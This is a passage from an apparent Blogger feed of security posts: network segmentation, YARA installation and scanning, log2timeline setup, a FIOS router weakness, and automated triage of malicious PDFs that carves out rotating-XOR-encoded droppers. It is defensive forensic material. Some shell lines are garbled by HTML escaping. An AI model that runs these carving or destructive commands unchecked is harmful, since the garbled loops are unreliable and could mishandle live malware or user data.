server. Create a rule allowing syslog from the dmz proxy server into your trusted audit server. Establish another rule allowing SSH from the trusted server to the dmz proxy server. This will allow you to manage the proxy server to manage it after first authenticating to the trusted server. Prepare for a day where you will be able to monitor the blocked traffic from the firewall on your syslog server. There will be a few things like anti-virus software updates and email server access that may not respond well to the demand for a proxy server. These will have to be manually updated in the firewall as exceptions. There may be a rule explicitly allowing traffic from the LAN to the DMZ. It should be disabled. Now, as the last rule, reject everything sourced from the TRUSTED LAN. Apply and start watching the logs.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Wireless&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;If you have chosen to employ wireless, ensure that the wireless access points are configured to different ESSIDs and encryption keys. They do not service the same networks.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Review&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;In this post, we've reviewed locking down the network of hosts we need to trust, while still allowing non-proxy-capable devices an allowance to the Internet. The DMZ allows cart-blanche access to all devices, providing a network suitable for Internet-ready appliances and guests. The proxy services enforce proper accesses on the Trusted hosts and the DNS service logs all of the hosts requests.&lt;br /&gt;&lt;br /&gt;Next time: Auditing the Logs&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-396853361850757721?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/396853361850757721/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=396853361850757721' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/396853361850757721'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/396853361850757721'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2011/08/this-article-is-in-response-to-query.html' title=''/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-SpBrBa_3eqg/Tlt2zCe8bbI/AAAAAAAAAAs/iURf5o2TL5I/s72-c/Diagram1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-8160667527457584012</id><published>2011-08-17T21:19:00.001-04:00</published><updated>2011-08-17T21:25:15.834-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='android traffic profile'/><title type='text'>Review of a Clean Android Installation</title><content type='html'>After acquiring a new Android device recently, I decided to profile the traffic. Using &lt;a href="http://www.splunk.com/"&gt;Splunk&lt;/a&gt; to analyze the traffic, I came up with this nice little chart. No surprises here.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-TviQGDqyqxg/TkxoU8mttiI/AAAAAAAAAAo/7lV91pXD6v0/s1600/Selection_003.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="162" src="http://4.bp.blogspot.com/-TviQGDqyqxg/TkxoU8mttiI/AAAAAAAAAAo/7lV91pXD6v0/s320/Selection_003.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-8160667527457584012?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/8160667527457584012/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=8160667527457584012' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/8160667527457584012'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/8160667527457584012'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2011/08/review-of-clean-android-installation.html' title='Review of a Clean Android Installation'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-TviQGDqyqxg/TkxoU8mttiI/AAAAAAAAAAo/7lV91pXD6v0/s72-c/Selection_003.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-1679222013576040987</id><published>2010-11-11T11:10:00.001-05:00</published><updated>2010-11-11T11:10:47.971-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu ecryptfs error'/><title type='text'>Ecryptfs and profile errors</title><content type='html'>I recently had an Ubuntu fail on ecryptfs. I would log into the system and it would present a default empty home dir with the Access-ecrypt-fs file. The problem was similar to these discussions on lost ecrypt profiles.&lt;br /&gt;&lt;a href="http://www.blogger.com/goog_1482291361"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="https://answers.launchpad.net/ecryptfs/+question/46307"&gt;https://answers.launchpad.net/ecryptfs/+question/46307&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ubuntuforums.org/showthread.php?t=1459250"&gt;http://ubuntuforums.org/showthread.php?t=1459250&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;My profile looked like this:&lt;br /&gt;&lt;br /&gt;$ ls&lt;br /&gt;Access-Your-Private-Data.desktop&amp;nbsp; README.txt&lt;br /&gt;&lt;br /&gt;$ ecryptfs-mount-private&lt;br /&gt;ERROR: Encrypted private directory is not setup properly&lt;br /&gt;&lt;br /&gt;After running an strace, I finally discovered that my movement of the /home directory contents had upset the delicate balance of ecryptfs. The program was not finding the .ecryptfs files it was looking for. ecryptfs profiles are not stored in your home directory, but rather are linked to another profile store. &lt;br /&gt;&lt;br /&gt;$ ls -la&lt;br /&gt;lrwxrwxrwx 1 user user&amp;nbsp;&amp;nbsp; 31 2010-09-07 21:51 .ecryptfs -&amp;gt; /home/.ecryptfs/user/.ecryptfs&lt;br /&gt;&lt;br /&gt;The system had lost its way to /home/.ecryptfs/user/.ecryptfs. Fixing the links in /home recovered my encrypted profile.&lt;br /&gt;&lt;br /&gt;$ ls -la /data1/home&lt;br /&gt;total 16&lt;br /&gt;drwxr-xr-x&amp;nbsp; 4 root&amp;nbsp; root&amp;nbsp; 4096 2010-09-07 21:51 .&lt;br /&gt;drwxrwxrwx 11 root&amp;nbsp; root&amp;nbsp; 4096 2010-09-26 10:42 ..&lt;br /&gt;drwx------&amp;nbsp; 4 user user 4096 2010-09-25 22:00 user&lt;br /&gt;drwxr-xr-x&amp;nbsp; 3 root&amp;nbsp; root&amp;nbsp; 4096 2010-09-07 21:51 .ecryptfs&lt;br /&gt;&lt;br /&gt;$ cd /&lt;br /&gt;$ sudo rm -rf home&lt;br /&gt;$ sudo ln -s /data1/home home&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-1679222013576040987?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/1679222013576040987/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=1679222013576040987' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/1679222013576040987'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/1679222013576040987'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2010/11/ecryptfs-and-profile-errors.html' title='Ecryptfs and profile errors'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-1093152178917782101</id><published>2010-10-12T23:36:00.011-04:00</published><updated>2010-10-12T23:52:54.278-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='yara pdf-parser didier stevens signature scanning'/><title type='text'>Scanning Memory Objects with Yara</title><content type='html'>Below are some Python inserts to enable yara scanning of in-memory objects while parsing something, like a PDF. This particular example enables Yara signature scanning of parsed, filtered PDF objects via Didier Steven's &lt;a href="http://blog.didierstevens.com/programs/pdf-tools/"&gt;PDF-Parser&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;[...imports...]&lt;br /&gt;&lt;br /&gt;import yara&lt;br /&gt;import mmap&lt;br /&gt;rules = yara.compile('path/rulefile')&lt;br /&gt;&lt;br /&gt;[...parsing code...]&lt;br /&gt;&lt;br /&gt;############################ yara insert around line 558&lt;br /&gt;############################ just before&lt;br /&gt;#########        print ' %s' % FormatOutput(filtered, options.raw)&lt;br /&gt;&lt;br /&gt;    memmap=mmap.mmap(-1,len(filtered))&lt;br /&gt;    memmap.write(filtered)&lt;br /&gt;    memmap.seek(0)&lt;br /&gt;    matches = rules.match(data=memmap.read(len(filtered)))&lt;br /&gt;    memmap.close()&lt;br /&gt;    for m in matches:&lt;br /&gt;           __ print ' yara: %s' % (m)&lt;br /&gt;&lt;br /&gt;##################################&lt;br /&gt;&lt;br /&gt;[...resume Didier's code...]&lt;br /&gt;&lt;br /&gt;print ' %s' % FormatOutput(filtered, options.raw)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-1093152178917782101?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/1093152178917782101/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=1093152178917782101' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/1093152178917782101'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/1093152178917782101'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2010/10/scanning-memory-objects-with-yara.html' title='Scanning Memory Objects with Yara'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-4127733194768436428</id><published>2010-09-30T17:20:00.003-04:00</published><updated>2010-10-24T22:24:58.540-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='yara ubuntu installation'/><title type='text'>Installing Yara on Ubuntu 10.04</title><content type='html'>Installation for YARA on Ubuntu 10.04. First you will need the PCRE development and runtime libraries.&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install libpcre3 libpcre3-dev&lt;br /&gt;&lt;br /&gt;Now acquire the YARA source code.&lt;br /&gt;&lt;br /&gt;$ wget http://yara-project.googlecode.com/files/yara-1.4.tar.gz&lt;br /&gt;$ wget http://yara-project.googlecode.com/files/yara-python-1.4.tar.gz&lt;br /&gt;&lt;br /&gt;Untar and configure YARA.&lt;br /&gt;&lt;br /&gt;$ tar xvfz yara-1.4.tar.gz&lt;br /&gt;$ cd yara-1.4.tar.gz&lt;br /&gt;$ ./configure&lt;br /&gt;&lt;br /&gt;If there are no errors, make the executables.&lt;br /&gt;&lt;br /&gt;$ make&lt;br /&gt;$ make check&lt;br /&gt;$ sudo make install&lt;br /&gt;&lt;br /&gt;Now add python support.&lt;br /&gt;&lt;br /&gt;$ cd ..&lt;br /&gt;$ tar xvfz yara-python-1.4.tar.gz&lt;br /&gt;$ cd yara-python-1.4.tar.gz&lt;br /&gt;$ python setup.py build&lt;br /&gt;$ sudo python setup.py install&lt;br /&gt;&lt;br /&gt;You should now be able to call YARA from a shell prompt.&lt;br /&gt;&lt;br /&gt;$ yara&lt;br /&gt;usage:  yara [OPTION]... [RULEFILE]... FILE&lt;br /&gt;options:&lt;br /&gt;-t &lt;tag&gt;                  print rules tagged as &lt;tag&gt; and ignore the rest. Can be used more than once.&lt;br /&gt;-i &lt;identifier&gt;           print rules named &lt;identifier&gt; and ignore the rest. Can be used more than once.&lt;br /&gt;-n                        print only not satisfied rules (negate).&lt;br /&gt;-g                        print tags.&lt;br /&gt;-m                        print metadata.&lt;br /&gt;-s                        print matching strings.&lt;br /&gt;-d &lt;identifier&gt;=&lt;value&gt;   define external variable.&lt;br /&gt;-r                        recursively search directories.&lt;br /&gt;-f                        fast matching mode.&lt;br /&gt;-v                        show version information.&lt;br /&gt;&lt;br /&gt;Report bugs to: &lt;vmalvarez@hispasec.com&gt;&lt;/vmalvarez@hispasec.com&gt;&lt;/value&gt;&lt;/identifier&gt;&lt;/identifier&gt;&lt;/identifier&gt;&lt;/tag&gt;&lt;/tag&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-4127733194768436428?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/4127733194768436428/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=4127733194768436428' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/4127733194768436428'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/4127733194768436428'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2010/09/installing-yara-on-ubuntu-1004.html' title='Installing Yara on Ubuntu 10.04'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-2722059852446386672</id><published>2010-09-23T16:38:00.003-04:00</published><updated>2010-09-28T22:33:33.803-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='log2timeline ubuntu dependencies'/><title type='text'>Installing log2timeline on Ubuntu</title><content type='html'>Here is a script to ease installation of Kristinn Gudjonsson's &lt;a href="http://log2timeline.net/"&gt;Log2Timeline&lt;/a&gt; tool on Ubuntu hosts. Tested on Ubuntu Lucid 10.04.&lt;br /&gt;&lt;br /&gt;############################################&lt;br /&gt;# log2timeline_ubuntu_deps.sh&lt;br /&gt;############################################&lt;br /&gt;#!/bin/sh&lt;br /&gt;sudo apt-get install libdigest-crc-perl libnetpacket-perl libparse-win32registry-perl libarchive-zip-perl libtimedate-perl libcarp-assert-perl libclass-dbi-perl libdatetime-perl libhtml-scrubber-perl libnet-pcap-perl libparams-validate-perl libimage-exiftool-perl libdbd-sqlite3-perl libdate-manip-perl libdatetime-format-strptime-perl&lt;br /&gt;sudo perl -MCPAN -e 'install File::Mork'&lt;br /&gt;sudo perl -MCPAN -e 'install Data::Hexify'&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-2722059852446386672?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/2722059852446386672/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=2722059852446386672' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/2722059852446386672'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/2722059852446386672'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2010/09/installing-log2timeline-on-ubuntu.html' title='Installing log2timeline on Ubuntu'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-1537600303527762604</id><published>2010-08-10T21:50:00.001-04:00</published><updated>2010-10-24T22:31:19.852-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='verizon fios actiontec router insecure security vulnerability double bridge'/><title type='text'>Verizon FIOS Faux Paus</title><content type='html'>Exemplifying the problem many folks have been having with Verizon  FIOS, our router is version C of the Actiontec line. For the first two  years of use, the bulk of our bandwidth was light web surfing and  providng data to the VOD/Guide service for the DVR. Not very taxing on a  12Mb/s line. However, two things happened this year that started to tax  the FIOS service, as provided by Verizon. First, we got an  internet-ready DVD player. For this, we also signed up for &lt;a href="http://www.netflix.com/"&gt;NetFlix&lt;/a&gt;,  an online movie service whose monthly subscription for online access to  streaming content is less than a couple of video store rentals. We also  discovered that our Wii had onboard wireless and had recently had  software written for it to make it NetFlix compatible. This increased  our bandwidth usage when streaming a movie by about ten fold.  Unfortunately, the little NAT table in the ActionTec router just  couldn't handle it and ended up crashing about every other day,  requiring a manual power cycle. This just wouldn't fly, so, having spare  hardware laying around and a desire to amp up the firewall capabilities  of the home connection anyway, I decided to attempt to replace the  Actiontec.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I followed the advice provided at &lt;a href="http://www.dslreports.com/faq/16077"&gt;DSLReports&lt;/a&gt; and set up a &lt;a href="http://www.dslreports.com/forum/r20006536-Make-your-actiontec-a-bridge-with-VOD-working-with-REV-D"&gt;double-bridge bypass&lt;/a&gt;  to my own firewall. This worked well for bypassing the NAT table  issue... for about 20 days. After that, the Internet continued to work  flawlessly, providing plenty of connections for the demands of streaming  media, but the VOD/Guide services consistently failed due to the DVR's  inability to pull an IP address. After a couple hours of poking at my  firewall and the Actiontec, I found that the COAX (Ethernet) connection  was not pulling an IP for the Actiontec, nor was it passing the bridge  from the MOCA adapter for the STB. When I realized this, I looked at the  configuration of the Actiontec router and saw that the COAX (Ethernet)  interface was completely disabled. Now how could this be? It worked  before. After re-enabling it and some power cycles, I determined that  the Actiontec will only enable the device for the time it is powered on.  For some reason, every so often it will self-reboot, which resets the  device state to DISABLED, killing the VOD/Guide. ARGH!! So, to keep the  STB working as it should, I have to attach to the Ethernet switch,  manually set my IP address to the 192.168.1.0/24 net, enter the  192.168.1.1 default address, login, and reenable the COAX (Ethernet)  device. What a pain, Verizon! &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This also brings to  light a security vulnerability in this method of double-bridging. The  router automagically assigns itself this 192.168.1.1 address available  from its Ethernet ports. As the Ethernet switch is bridged to the COAX  (Broadband) device, this means that the router may be remotely  accessible to an attack should an aggressor push spoofed RFC 1918  packets to your public IP address. They will drop off of the WAN  firewall, but will the local ethernet bind to 192.168.1.1 answer? Since  the Ethernet ports are set to make up the outer bridge to the WAN, this  seems plausible, making for a potential hole in this setup. So much for  adding security with a better firewall!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-1537600303527762604?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/1537600303527762604/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=1537600303527762604' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/1537600303527762604'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/1537600303527762604'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2010/10/verizon-fios-faux-paus.html' title='Verizon FIOS Faux Paus'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-4727596950806404464</id><published>2010-01-12T22:20:00.001-05:00</published><updated>2010-10-24T22:24:27.790-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pdf embedded object analysis shell'/><title type='text'>Automating PDF Analysis</title><content type='html'>This post assumes a knowledge of basic LINUX commands. For help, consult the looping section of the BASH manual (&lt;a href="http://linux.die.net/man/1/bash"&gt;http://linux.die.net/man/1/bash&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;Suggested readings:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://isc.sans.org/diary.html?storyid=7903"&gt;http://isc.sans.org/diary.html?storyid=7903&lt;/a&gt;&lt;br /&gt;&lt;a href="http://isc.sans.org/diary.html?storyid=7906"&gt;http://isc.sans.org/diary.html?storyid=7906&lt;/a&gt;&lt;br /&gt;&lt;a href="http://isc.sans.org/diary.html?storyid=7867"&gt;http://isc.sans.org/diary.html?storyid=7867&lt;/a&gt;&lt;br /&gt;&lt;a href="http://isc.sans.org/diary.html?storyid=7984"&gt;http://isc.sans.org/diary.html?storyid=7984&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In response to these and other posts, I think it's time to get serious about 1) shortening the time from starting analysis to the determination of 'malicious' and 2) start tackling the massive numbers of these files swarming the enterprise. Both of these techniques require essentially the same techniques described above to me implemented in repeatable ways to script and automate them.&lt;br /&gt;&lt;br /&gt;The malicious PDFs I've analyzed have a few things in common that will make this process easier. First, they almost always contain the dropper payload they want to execute. They usually come from free (gmail, yahoo, hotmail) or weakly secured (AOL, MSN) webmail accounts. And, best of all, the encoding scheme used to protect the droppers is always the same, a 255-byte decrementing XOR key.&lt;br /&gt;&lt;br /&gt;So, to build a body of files for analysis, you want to start isolating or collecting all of the PDFs delivered from webmail accounts. Once you have these hundred or thousands of files, you need to start ripping through them and identifying the evil ones.&lt;br /&gt;&lt;br /&gt;Before we start, get the latest version of Didier Stevens pdf-parser.py (&lt;a href="http://blog.didierstevens.com/programs/pdf-tools/"&gt;http://blog.didierstevens.com/programs/pdf-tools/&lt;/a&gt;). Now, these pdf files sometime contain duplicate object numbers, lots of unlinked objects, and blobs in the unmapped spaces of the PDF (like after the %EOF tag). So, to begin, let's assume one hundred objects and start ripping all of the encoded/flated objects from the pdf. There will be a lot of blank objects since some don't exist in the PDF. Get rid of those with a remove statement on 0-length files.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ mkdir pdf.analysis&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ cd pdf.analysis&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ cp ../1.pdf .&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ for (( i=0; i&amp;lt;100;&amp;gt; $i.out; done&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ rm `ls -l | egrep " 0 2010-" | awk '{ print $8}'`&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now we have a collection of extracted objects. As mentioned in Bojan's ISC Diary (&lt;a href="http://isc.sans.org/diary.html?storyid=7867"&gt;http://isc.sans.org/diary.html?storyid=7867&lt;/a&gt;), we can search for failed FlateDecodes. This may indicate an intersting PDF for follow-up and can be an easy malicious PDF indicator.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ grep failed *&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;31.out: FlateDecode decompress failed&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;31.out: FlateDecode decompress failed&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Binary file 35.out matches&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;52.out: FlateDecode decompress failed&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;52.out: FlateDecode decompress failed&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The malicious PDFs contain a dropper that is encoded. We've seen simple XOR encoding before, but the nefarious folk of the world appear to have moved into rotating XOR encoding techniques. The key is either incremented or decremented by some amount for every byte processed. When the keyset rotates to the end of the 0x00-FF scale, it turns the corner and picks up at the other end. So, to deal with this, I updated a previously written multi-byte XOR script to handle 256-byte rotating XOR keys with a given offset. Pair it with a for loop to cycle through all 256 possible start keys, and the encoded blob will be decoded and discovered with a simple GREP for a known string. Here's how it works. In this example, I had already located and carved the unknown blob from the PDF capsule. However, for automation you would can pass the entire PDF file and just not worry about the other bytes that will get mulched. We're only looking to identify the EXE, not carve it at this point.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ for ((i=0; i&amp;lt;256; i++)); do echo $i; perl multi-xor-v2.pl -f 1.pdf -o $i.ex_ -k "$i" -R -1; done  &lt;span style="font-family: courier new;"&gt;$ grep -i KERNEL *&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Binary file 0.ex_ matches&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: georgia; font-size: small;"&gt;Apparently the ROTXOR key starts at 0x00 and rotates at a decrement of -1 for every byte processed. The rotation is typical for PDFs of the day, though I have also seen different start points. Now that we have our decoded blob, the rest can be disposed of.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ mv 0.ex_ Carved_decoded_ROTXOR255_key0_step-1.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ rm *.ex_&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ ls&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;1.pdf  Carved_decoded_ROTXOR255_key0_step-1.exe  multi-xor-v2.pl&lt;/span&gt;&lt;br /&gt;&lt;br style="font-family: georgia;" /&gt;&lt;span style="font-family: georgia;"&gt;&lt;br /&gt;The .EXE can be run through standard analysis routines to discover the call-outs and second stage drops. This PDF is definitely malicious.&lt;/span&gt;&lt;br style="font-family: georgia;" /&gt;&lt;br style="font-family: georgia;" /&gt;&lt;span style="font-family: georgia;"&gt;So, to take it to step two, addressing the large numbers of these PDFs, just take the above steps, codify into a script, and run in another loop.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ mkdir pdf.analysis&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ cp *.pdf pdf.analysis&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ cd pdf.analysis&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ find . -type f -name *.pdf | while read i; do echo "processing $i"; ../analyzepdf.sh "$i"; done &amp;amp;&amp;amp; find . -type -f -name *.exe | while read i; do echo "MATCH: $i"; done | tee matches.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: georgia;"&gt;The above loop creates a directory for analysis, creates an array of the PDF files available to be analyzed, and initiates the analysis script for each of them. The anlaysis script will create analysis subdirectories for each PDF, perform the above analysis steps and decodings, identify the interesting tidbits, and leave behind the interesting artifacts. When the loop finishes, the FIND command is used to locate the executables left behind, and create a notification for those PDFs found to have drops, recording this information to the matches.txt file.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: georgia;"&gt;Now you can revisit the PDFs identified in the matches .txt file and carve the droppers out of them.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ dd if=1.pdf of=c1.bin bs=1 skip=27598 count=834887 &amp;amp;&amp;amp; xxd c1.bin | less&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;834887+0 records in&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;834887+0 records out&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;834887 bytes (835 kB) copied, 1.7896 s, 467 kB/s&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: georgia;"&gt;Apply the ROTXOR decoder scripts to the blob to reveal the executable.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ for ((i=0; i&amp;lt;256; i++)); do echo $i; perl multi-xor-v2.pl -f c1.bin -o $i.ex_ -k "$i" -R -1; done &lt;span style="font-family: courier new;"&gt;$ grep KERNEL *&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Binary file 0.ex_ matches&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ mv 0.ex_ Carved_decoded_ROTXOR255_key0_step-1.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ rm *.ex_&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ 